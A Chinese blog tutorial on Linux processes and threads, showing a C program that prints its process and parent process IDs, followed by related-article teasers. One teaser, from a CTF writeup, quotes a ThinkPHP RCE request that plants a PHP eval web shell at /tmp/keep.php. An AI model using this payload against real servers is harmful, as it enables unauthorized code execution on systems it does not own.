Linux应用编程---1.线程与进程

news2024/11/19 4:15:44

Linux应用编程—1.线程与进程

1 重要概念

1.1 程序

​ 程序指的是还没有运行起来的源代码,比如电脑上安装的“Keil MDK”、“Xshell”等等。

1.2 进程

​ Win10环境下,打开任务管理器,能看到有“进程”一栏,点击进去能看到5个应用以及132个后台进程。光看5个应用进程的话,正是正在运行着的程序。所以进程就是正在运行着的程序。

image-20221104090132376

图1 任务管理器中的进程

1.3 线程

​ 线程(thread)是操作系统进行调度的最小单位。一个进程可以并发多个线程,每个线程可以执行不同的任务。同一个进程的多个线程共享该进程中的全部系统资源,但每个线程有各自的调用栈、寄存器组以及线程本地存储。

1.4 任务

​ CPU具体要做的事情。

2 Linux

​ 在linux系统下,每一个进程都有自己的id号,查看这个id号也有linux系统提供给我们的库函数来实现。通常这个进程的id号被叫做“pid”,指的是“process id”。

2.1 Linux下查看进程id

2.1.1 终端下执行man getpid

image-20221104094159240

图2 Linux下执行man getpid指令

​ 可以看到调用该函数时需要包含的头文件,以及函数的描述。

2.1.2 getpid()

pid_t getpid(voiud);

​ 该函数用来返回id的进程号,无须入参,返回值是一个自建类型pid_t。还能看到一个函数:

pid_t getppid(void);

​ 阅读函数描述可以知道,该函数用来返回进程的父进程的id号,同样不需要入参以及返回一个pid_t的自建类型。知道了两个函数,现在编程来查看进程id号。

2.2 编程

2.2.1 源码实现

#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>

int main(void)
{
        pid_t pid;
        pid_t pid_1;

        while(1)
        {
                pid = getpid();			// get process id
                printf("pid = %d.\n", pid);
                pid_1 = getppid();		// get parent process id
                printf("pid_1 = %d.\n", pid_1);
                printf("Hello World!\n");
                sleep(1);
        }

        return 0;
}

运行结果:

pid = 12913.
pid_1 = 2113.
Hello World!

每隔1秒钟打印一次~

image-20221104104148590

图3 运行结果,每秒打印一次进程id与父进程id

2.2.2 进程树

​ 新建一个终端,在命令行输入“man pstree”。

image-20221104104835351

图4 pstree指令

​ 以树的方式显示进程。输入pstree -p,在如下树中,根据之前代码打印的id号可以找到。可以看到./a.out的进程号为12913。

image-20221104104052709

图5 进程树

3 总结

​ Linux应用编程中线程与进程是两个非常重要的概念,本次我们先熟悉了如何查看进程id号以及父进程id号两个函数。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/149139.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023 Real World CTF体验赛部分Writeup

web1 Thinkphp lang多语言 RCE漏洞&#xff0c;直接打 GET /index.php?config-create/<?eval($_REQUEST[1]);?>/tmp/keep.php HTTP/1.1 Host: 47.98.124.175:8080 Cache-Control: max-age0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; …

QT-5.12: QSqlDatabase: QMYSQL driver not loaded 错误及解决方案

错误现象及原因&#xff1a; &#xff08;1&#xff09;qt SQL模块已默认不编译mysql驱动&#xff0c;导致mysql驱动缺失&#xff0c;错误提示如下&#xff08;可用数数据库驱动不含mysql驱动&#xff0c;执行方法一和二&#xff09;&#xff1b; &#xff08;2&#xff09;已…

C++新基础类型long long, char8_t, char16_t, char32_t

C新基础类型long long, char8_t, char16_t, char32_t一、整数类型 long long二、新字符类型 char16_t 和 char32_t三、char8_t 字符类型一、整数类型 long long 我们知道long通常表示一个32位整型&#xff0c;而long long则是用来表示一个64位的整型。 C标准中定义&#xff0…

vue3包依赖关系

包reactivity &#xff1a;响应式API&#xff0c;例如toRef、reactive、Effect、computed、watch等&#xff0c;可作为与框架无关的包&#xff0c;独立构建runtime-core&#xff1a;平台无关的运行时核心代码。包括虚拟dom渲染、组件实现和JavaScript API。可以使用这个包针对特…

机器学习实战教程(十一):线性回归基础篇

一、前言前面的文章介绍了很多分类算法&#xff0c;分类的目标变量是标称型数据&#xff0c;而本文将会对连续型的数据做出预测。主要讲解简单的线性回归和局部加权线性回归&#xff0c;并通过预测鲍鱼年龄的实例进行实战演练。二、什么是回归&#xff1f;回归的目的是预测数值…

Java学习笔记——继承(下)

目录继承中构造方法的访问特点构造方法的访问特点-父类没有空参构造方法代码优化和内存图解xx信息管理系统-集成改进抽象类入门抽象类的注意事项模板设计模式final关键字xx信息管理系统——抽象类改进代码块xx信息管理系统-代码块改进继承中构造方法的访问特点 子类再初始化之…

汽车电子行业入门指南「2022年国内主要新能源车销量」

汽车电子行业入门指南 雪云飞星 2022年国内主要新能源车销量 2022年汽车行业内的人们可谓是经历了很多&#xff1a;4月上海疫情、华为携问界的强势入局、年底取消新能源免购置税等等。对于博主而言也算人生一个小阶段&#xff0c;年底离开了曾经奋斗的某为&#xff0c;翻开了…

序列傅里叶变换

序列傅里叶变换定义 序列傅里叶变换 (DFT) 是一种数学变换&#xff0c;它将一个有限长度的序列转换为其频谱表示。它使用一个复数数组表示序列的频谱&#xff0c;其中每个元素表示对应的频率成分的幅度和相位。 DFT 的公式为&#xff1a; X[k] ∑n0 to N-1 x[n] * e^(-j2πkn/…

Unreal UCLASS常用的类标记宏

BlueprintType,使当前类可以作为蓝图中的类型使用。新建一个继承UObject的C类CustomObject:UObject默认是无法作为蓝图中的类型使用的,打开关卡蓝图,声明一个CustomObject变量:可以看到,这里无法声明CustomObject类型的变量,我们为CustomObject添加BlueprintType标记宏:这样我们…

我的2022,为什么要跳出舒适圈?

1前言今天的冬日暖阳高照&#xff0c;给我羽绒服下的肉身火一般的燥热&#xff0c;给了我一个错觉&#xff0c;以为到了阳春三月。刚刚送完老妈还有老婆孩子回老家&#xff0c;我坐到电脑机器前&#xff0c;准备捋一下思绪&#xff0c;回首2022的生活和工作。 2 2022 回顾今年用…

从零开始搭建Dubbo环境并整合Dubbo+SpringBoot

Windows环境搭建 1. 安装Zookeeper 下载 zookeeper3.5 下载地址 https://zookeeper.apache.org/releases.html#download 下载完成以后, 解压到一个目录下 然后把 zoo_sample.cfg 复制一份, 重命名为 zoo.cfg 修改配置文件 zoo.cfg 中的 dataDir 这个配置 修改为 dataDir../z…

pygame - 图片移动优化 - 引入面向对象思想

目录 一、基本框架 二、代码段 1、附注释 2、无注释 三、效果展示 备注&#xff1a;pygame - 图片移动优化中未对属性和方法进行封装&#xff0c;本篇文章将引入面向对象思想 一、基本框架 import sys import time import pygamepygame.init()SCREEN_WIDTH 680 SCREEN…

基于机器学习预测销售门店的商品销量详细教程

项目概述: 使用时间序列预测来预测来Corporacin Favorita 的数据的商店销售额。 具体来说,构建一个模型来更准确地预测在不同 Favorita 商店销售的数千种商品的单位销售额。您将使用包含日期、商店和商品信息、促销和单位销售的易于理解的训练数据集来练习您的机器学习技能。…

【debug日记】安装包后还是有下划线可以运行、gensim包的安装及版本不同引起的参数不匹配问题

文章目录gensim包版本不同引起的参数不匹配问题安装gensim包后还是有下划线可以运行gensim包的安装问题今天的debug历程可谓一步一个坑。首先我去github上下载了一个项目&#xff0c;关于graph embedding https://github.com/shenweichen/GraphEmbedding 我下载下来直接运行&a…

软件测试 -- 进阶 10 常见软件测试类型

业精于勤&#xff0c;荒于嬉&#xff1b;行成于思&#xff0c;毁于随。-- 韩愈 释译&#xff1a;学业因勤奋而专精&#xff0c;因玩乐而荒废&#xff1b;德行因独立思考而有所成就&#xff0c;因因循随俗而败坏。 是否执行程序/测试执行方法 - 静态测试 - 动态测试 …

如何简单的做量化交易

介绍 首先我不是量化工程师&#xff0c;我只是个后端工程师&#xff1b;其次我对量化也不感兴趣&#xff0c;自己有几把刷子还是了解的&#xff0c;自己不适合做量化交易&#xff1a; 自己没有优秀的模型设计能力自己是个长线投资&#xff0c;一般一个股票都是至少拿一年以上…

【五】Netty 传输Java对象

Netty 传输Java对象介绍业务场景模拟流程图代码展示订购采购消息 POJO 类订购应答消息 POJO 类服务端启动类 SubscribeReqServer服务端业务处理类 SubscribeServerHandler客户端启动类 SubscribeClient客户端 业务处理类 SubscribeClientHandler效果展示服务端打印客户端打印总…

20230109网安陈之琳材料大纲-web渗透

目录 引言 正文 信息收集 端口扫描 敏感目录的扫描 主机漏洞扫描 常见的漏洞及防御 SQL注入漏洞 目录遍历漏洞/文件包含漏洞 提权 删日志 引言 首先呢&#xff0c;经过我本人对此篇论文的研读&#xff0c;发现此篇论文属于web方向的一篇入门文章 梁本来前辈对常见…

使用Docker Compose一键部署前后端分离项目

目录 一、安装Docker和docker Compose &#xff08;1&#xff09;Docker安装 &#xff08;2&#xff09;Docker Compose安装 &#xff08;3&#xff09;查看版本信息 二、准备工作 1. 新建工作目录 2. 工作目录结构 3. 后台打包 4. 前台打包 5. 数据库文件上传 6. 编…

Nginx反向代理和负载均衡配置

一.什么是反向代理 反向代理&#xff08;Reverse Proxy&#xff09;方式是指以代理服务器来接受Internet上的连接请求&#xff0c;然后将请求转发给内部网络上的服务器&#xff0c;并将从服务器上得到的结果返回给Internet上请求连接的客户端&#xff0c;此时代理服务器对外就…